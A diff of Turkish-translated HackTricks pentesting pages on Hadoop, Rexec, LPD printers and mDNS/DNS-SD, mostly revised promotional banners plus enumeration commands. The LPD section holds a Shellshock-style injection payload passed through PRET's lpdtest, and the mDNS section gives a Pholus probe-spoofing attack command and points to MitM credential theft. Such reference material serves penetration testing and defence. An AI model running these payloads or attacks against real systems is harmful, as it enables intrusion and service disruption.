* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# **Temel Bilgiler**
|
||||
|
||||
**Apache Hadoop**, **büyük veri kümelerini** **bilgisayar kümeleri** üzerinde **dağıtılmış depolama ve işleme** için bir **açık kaynaklı çerçeve**dir. Depolama için **HDFS** ve işleme için **MapReduce** kullanır.
|
||||
**Apache Hadoop**, **bilgisayar kümeleri** arasında **büyük veri setlerinin** **dağıtılmış depolama ve işleme** için **açık kaynaklı bir çerçeve**dir. Depolama için **HDFS** ve işleme için **MapReduce** kullanır.
|
||||
|
||||
Ne yazık ki, Hadoop, belgeleme zamanında Metasploit çerçevesinde destek eksikliği yaşamaktadır. Bununla birlikte, Hadoop hizmetlerini sıralamak için aşağıdaki **Nmap komut dosyalarını** kullanabilirsiniz:
|
||||
Üzgünüm, Hadoop, belgelenme zamanında Metasploit çerçevesinde destek eksikliği yaşıyor. Ancak, Hadoop hizmetlerini listelemek için aşağıdaki **Nmap betiklerini** kullanabilirsiniz:
|
||||
|
||||
- **`hadoop-jobtracker-info (Port 50030)`**
|
||||
- **`hadoop-tasktracker-info (Port 50060)`**
|
||||
|
@ -25,19 +26,4 @@ Ne yazık ki, Hadoop, belgeleme zamanında Metasploit çerçevesinde destek eksi
|
|||
- **`hadoop-datanode-info (Port 50075)`**
|
||||
- **`hadoop-secondary-namenode-info (Port 50090)`**
|
||||
|
||||
|
||||
Önemli bir nokta olarak, **Hadoop, varsayılan yapılandırmasında kimlik doğrulama olmadan çalışır**. Bununla birlikte, gelişmiş güvenlik için HDFS, YARN ve MapReduce hizmetleriyle Kerberos'u entegre etmek için yapılandırmalar mevcuttur.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
|
||||
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
|
||||
|
||||
</details>
|
||||
**Hadoop'un varsayılan ayarlarında kimlik doğrulama olmadan çalıştığını** belirtmek önemlidir. Ancak, güvenliği artırmak için HDFS, YARN ve MapReduce hizmetleri ile Kerberos entegrasyonu sağlamak için yapılandırmalar mevcuttur.
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# 512 - Rexec Pentest
|
||||
# 512 - Pentesting Rexec
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> öğrenin!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
Geçerli **kimlik bilgilerini** (kullanıcı adı ve parola) bildiğiniz takdirde, bir **ana makinede bir komutu çalıştırmanıza izin veren bir hizmettir**.
|
||||
**Geçerli kimlik bilgilerini** (kullanıcı adı ve şifre) biliyorsanız, **bir komutu bir ana bilgisayar içinde çalıştırmanıza** olanak tanıyan bir hizmettir.
|
||||
|
||||
**Varsayılan Port:** 512
|
||||
```
|
||||
|
@ -25,16 +26,17 @@ PORT STATE SERVICE
|
|||
```
|
||||
### [**Brute-force**](../generic-methodologies-and-resources/brute-force.md#rexec)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'a göz atın!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **katkıda bulunun**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### **LPD Protokolüne Giriş**
|
||||
|
||||
1980'lerde, **Line Printer Daemon (LPD) protokolü**, daha sonra RFC1179 aracılığıyla resmileştirilen Berkeley Unix'te geliştirildi. Bu protokol, `lpr` komutu aracılığıyla etkileşim sağlamak için 515/tcp portu üzerinde çalışır. LPD aracılığıyla yazdırma işlemi, bir **kontrol dosyası** (iş ayrıntılarını ve kullanıcıyı belirtmek için) ile birlikte bir **veri dosyası** (yazdırma bilgilerini içeren) göndermeyi içerir. Kontrol dosyası, veri dosyası için **çeşitli dosya biçimlerinin** seçilmesine izin verirken, bu dosyaların işlenmesi belirli LPD uygulamasına bağlıdır. Unix benzeri sistemler için genel olarak kabul gören bir uygulama **LPRng**'dir. Özellikle, LPD protokolü, **zararlı PostScript** veya **PJL yazdırma işleri** yürütmek için sömürülebilir.
|
||||
1980'lerde, **Line Printer Daemon (LPD) protokolü** Berkeley Unix'te geliştirilmiş ve daha sonra RFC1179 ile resmileştirilmiştir. Bu protokol, `lpr` komutu aracılığıyla etkileşimlere olanak tanıyan 515/tcp portu üzerinden çalışır. LPD aracılığıyla yazdırmanın özü, **iş detaylarını ve kullanıcıyı belirtmek için** bir **kontrol dosyası** ile **yazdırma bilgilerini içeren** bir **veri dosyası** göndermeyi içerir. Kontrol dosyası, veri dosyası için **çeşitli dosya formatlarının** seçilmesine olanak tanırken, bu dosyaların işlenmesi belirli LPD uygulaması tarafından belirlenir. Unix benzeri sistemler için yaygın olarak tanınan bir uygulama **LPRng**'dir. Dikkate değer bir şekilde, LPD protokolü **kötü niyetli PostScript** veya **PJL yazdırma işleri** yürütmek için istismar edilebilir.
|
||||
|
||||
### **LPD Yazıcılarla Etkileşim İçin Araçlar**
|
||||
### **LPD Yazıcıları ile Etkileşim İçin Araçlar**
|
||||
|
||||
[**PRET**](https://github.com/RUB-NDS/PRET), LPD uyumlu yazıcılarla etkileşim kurmak için iki temel araç olan `lpdprint` ve `lpdtest`i tanıtır. Bu araçlar, veri yazdırma işleminden yazıcı üzerinde dosya manipülasyonuna (indirme, yükleme veya silme gibi) kadar çeşitli eylemleri mümkün kılar:
|
||||
[**PRET**](https://github.com/RUB-NDS/PRET), LPD uyumlu yazıcılarla etkileşim için `lpdprint` ve `lpdtest` adlı iki temel aracı tanıtır ve bu araçlar, yazıcıda veri yazdırmaktan dosyaları indirme, yükleme veya silme gibi bir dizi eylemi gerçekleştirmek için basit bir yöntem sunar:
|
||||
```python
|
||||
# To print a file to an LPD printer
|
||||
lpdprint.py hostname filename
|
||||
|
@ -33,23 +34,24 @@ lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
|
|||
# To send a mail through the printer
|
||||
lpdtest.py hostname mail lpdtest@mailhost.local
|
||||
```
|
||||
**Yazıcı hacklemeye** ilgi duyan bireyler için kapsamlı bir kaynak burada bulunabilir: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||
Baskı **hacking** dünyasını daha fazla keşfetmekle ilgilenen bireyler için kapsamlı bir kaynak burada bulunabilir: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||
|
||||
# Shodan
|
||||
|
||||
* `port 515`
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerimizden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,67 +1,67 @@
|
|||
# 5353/UDP Multicast DNS (mDNS) ve DNS-SD
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Temel Bilgiler**
|
||||
|
||||
**Multicast DNS (mDNS)**, geleneksel bir DNS sunucusuna ihtiyaç duymadan yerel ağlarda **DNS benzeri işlemleri** mümkün kılar. **UDP port 5353** üzerinde çalışır ve cihazların birbirlerini ve hizmetlerini keşfetmelerine olanak tanır, genellikle çeşitli IoT cihazlarında görülür. **DNS Hizmet Keşfi (DNS-SD)**, genellikle mDNS ile birlikte kullanılır ve ağdaki mevcut hizmetleri standart DNS sorguları aracılığıyla tanımlamaya yardımcı olur.
|
||||
**Multicast DNS (mDNS)**, geleneksel bir DNS sunucusuna ihtiyaç duymadan yerel ağlar içinde **DNS benzeri işlemler** gerçekleştirilmesini sağlar. **UDP port 5353** üzerinde çalışır ve cihazların birbirlerini ve hizmetlerini keşfetmelerine olanak tanır; bu, çeşitli IoT cihazlarında yaygın olarak görülür. **DNS Hizmet Keşfi (DNS-SD)**, genellikle mDNS ile birlikte kullanılan, ağda mevcut olan hizmetleri standart DNS sorguları aracılığıyla tanımlamaya yardımcı olur.
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
5353/udp open zeroconf
|
||||
```
|
||||
### **mDNS'nin İşleyişi**
|
||||
### **mDNS'ın İşleyişi**
|
||||
|
||||
Standart bir DNS sunucusu olmayan ortamlarda, mDNS cihazların **.local** ile biten alan adlarını sorgulayarak, çoklu yayın adresi **224.0.0.251** (IPv4) veya **FF02::FB** (IPv6) üzerinden çözmesine olanak tanır. mDNS'nin önemli yönleri, kayıt geçerliliğini belirten bir **Time-to-Live (TTL)** değeri ve unicast ve multicast sorgularını ayıran bir **QU bit** içermesidir. Güvenlik açısından, mDNS uygulamalarının paketin kaynak adresinin yerel alt ağla uyumlu olduğunu doğrulaması önemlidir.
|
||||
Standart bir DNS sunucusunun olmadığı ortamlarda, mDNS cihazların **.local** ile biten alan adlarını **224.0.0.251** (IPv4) veya **FF02::FB** (IPv6) çoklu yayın adresini sorgulayarak çözmesine olanak tanır. mDNS'in önemli yönleri arasında kayıt geçerliliğini belirten bir **Yaşam Süresi (TTL)** değeri ve tekil ile çoklu yayın sorguları arasında ayrım yapan bir **QU bit** bulunur. Güvenlik açısından, mDNS uygulamalarının paketin kaynak adresinin yerel alt ağ ile uyumlu olduğunu doğrulaması kritik öneme sahiptir.
|
||||
|
||||
### **DNS-SD'nin İşleyişi**
|
||||
|
||||
DNS-SD, hizmet türlerini örneklerine eşleyen işaretçi kayıtlarını (PTR) sorgulayarak ağ hizmetlerinin keşfini kolaylaştırır. Hizmetler, ayrıntılı hizmet bilgilerini sağlayan **SRV** ve **TXT kayıtlarını** keşfetmeye yol açan **_\<Hizmet>.\_tcp veya \_\<Hizmet>.\_udp** deseni içeren **.local** alanında tanımlanır.
|
||||
DNS-SD, hizmet türlerini örneklerine eşleyen işaretçi kayıtlarını (PTR) sorgulayarak ağ hizmetlerinin keşfini kolaylaştırır. Hizmetler, **_\<Service>.\_tcp veya \_\<Service>.\_udp** desenini kullanarak **.local** alanında tanımlanır ve bu, ilgili **SRV** ve **TXT kayıtlarının** keşfine yol açar; bu kayıtlar ayrıntılı hizmet bilgileri sağlar.
|
||||
|
||||
### **Ağ Keşfi**
|
||||
|
||||
#### **nmap Kullanımı**
|
||||
|
||||
mDNS hizmetlerini tarayarak yerel ağı taramak için kullanışlı bir komut:
|
||||
mDNS hizmetleri için yerel ağı taramak için yararlı bir komut:
|
||||
```bash
|
||||
nmap -Pn -sUC -p5353 [target IP address]
|
||||
```
|
||||
Bu komut, açık mDNS bağlantı noktalarını ve üzerlerinde yayınlanan hizmetleri belirlemeye yardımcı olur.
|
||||
Bu komut, açık mDNS portlarını ve bunlar üzerinden duyurulan hizmetleri tanımlamaya yardımcı olur.
|
||||
|
||||
#### **Pholus ile Ağ Numaralandırma**
|
||||
#### **Pholus ile Ağ Sayımı**
|
||||
|
||||
Mevcut mDNS isteklerini aktif olarak göndermek ve trafiği yakalamak için **Pholus** aracı aşağıdaki gibi kullanılabilir:
|
||||
mDNS isteklerini aktif olarak göndermek ve trafiği yakalamak için **Pholus** aracı aşağıdaki gibi kullanılabilir:
|
||||
```bash
|
||||
sudo python3 pholus3.py [network interface] -rq -stimeout 10
|
||||
```
|
||||
## Saldırılar
|
||||
|
||||
### **mDNS Sondalamasını Sömürme**
|
||||
### **mDNS Sorgulamalarını İstismar Etme**
|
||||
|
||||
Bir saldırı vektörü, mDNS sondalamalarına sahte yanıtlar göndererek, tüm potansiyel isimlerin zaten kullanımda olduğunu önererek yeni cihazların benzersiz bir isim seçmesini engellemektir. Bu, şu şekilde gerçekleştirilebilir:
|
||||
Bir saldırı vektörü, mDNS sorgularına sahte yanıtlar göndererek, tüm potansiyel adların zaten kullanıldığını öne sürmekte ve böylece yeni cihazların benzersiz bir ad seçmesini engellemektedir. Bu, şu şekilde gerçekleştirilebilir:
|
||||
```bash
|
||||
sudo python pholus.py [network interface] -afre -stimeout 1000
|
||||
```
|
||||
Bu teknik, yeni cihazların ağdaki hizmetlerini kaydetmelerini etkili bir şekilde engeller.
|
||||
Bu teknik, yeni cihazların ağda hizmetlerini kaydetmelerini etkili bir şekilde engeller.
|
||||
|
||||
**Özetle**, mDNS ve DNS-SD'nin çalışma prensiplerini anlamak, ağ yönetimi ve güvenliği için önemlidir. **nmap** ve **Pholus** gibi araçlar, yerel ağ hizmetleri hakkında değerli bilgiler sunarken, potansiyel zafiyetler konusunda farkındalık, saldırılara karşı korunmada yardımcı olur.
|
||||
**Özetle**, mDNS ve DNS-SD'nin çalışma prensiplerini anlamak, ağ yönetimi ve güvenliği için kritik öneme sahiptir. **nmap** ve **Pholus** gibi araçlar, yerel ağ hizmetleri hakkında değerli bilgiler sunarken, potansiyel zayıflıkların farkında olmak, saldırılara karşı korunmaya yardımcı olur.
|
||||
|
||||
### Spoofing/MitM
|
||||
|
||||
### Sahte Kimlik/Orta Adam Saldırısı
|
||||
|
||||
Bu servis üzerinde gerçekleştirebileceğiniz en ilginç saldırı, **istemci ile gerçek sunucu arasındaki iletişimde Orta Adam Saldırısı (MitM)** yapmaktır. Bu sayede hassas dosyalara (yazıcı ile iletişimi Orta Adam Saldırısı yaparak) veya hatta kimlik bilgilerine (Windows kimlik doğrulaması) erişebilirsiniz.\
|
||||
Daha fazla bilgi için:
|
||||
Bu hizmet üzerinden gerçekleştirebileceğiniz en ilginç saldırı, **istemci ile gerçek sunucu arasındaki iletişimde bir MitM** gerçekleştirmektir. Hassas dosyaları (yazıcı ile iletişimi MitM yaparak) veya hatta kimlik bilgilerini (Windows kimlik doğrulaması) elde etme şansınız olabilir.\
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
|
||||
{% content-ref url="../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
|
||||
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
@ -71,16 +71,17 @@ Daha fazla bilgi için:
|
|||
|
||||
* [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical\_IoT\_Hacking.html?id=GbYEEAAAQBAJ\&redir\_esc=y)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı yapmak veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
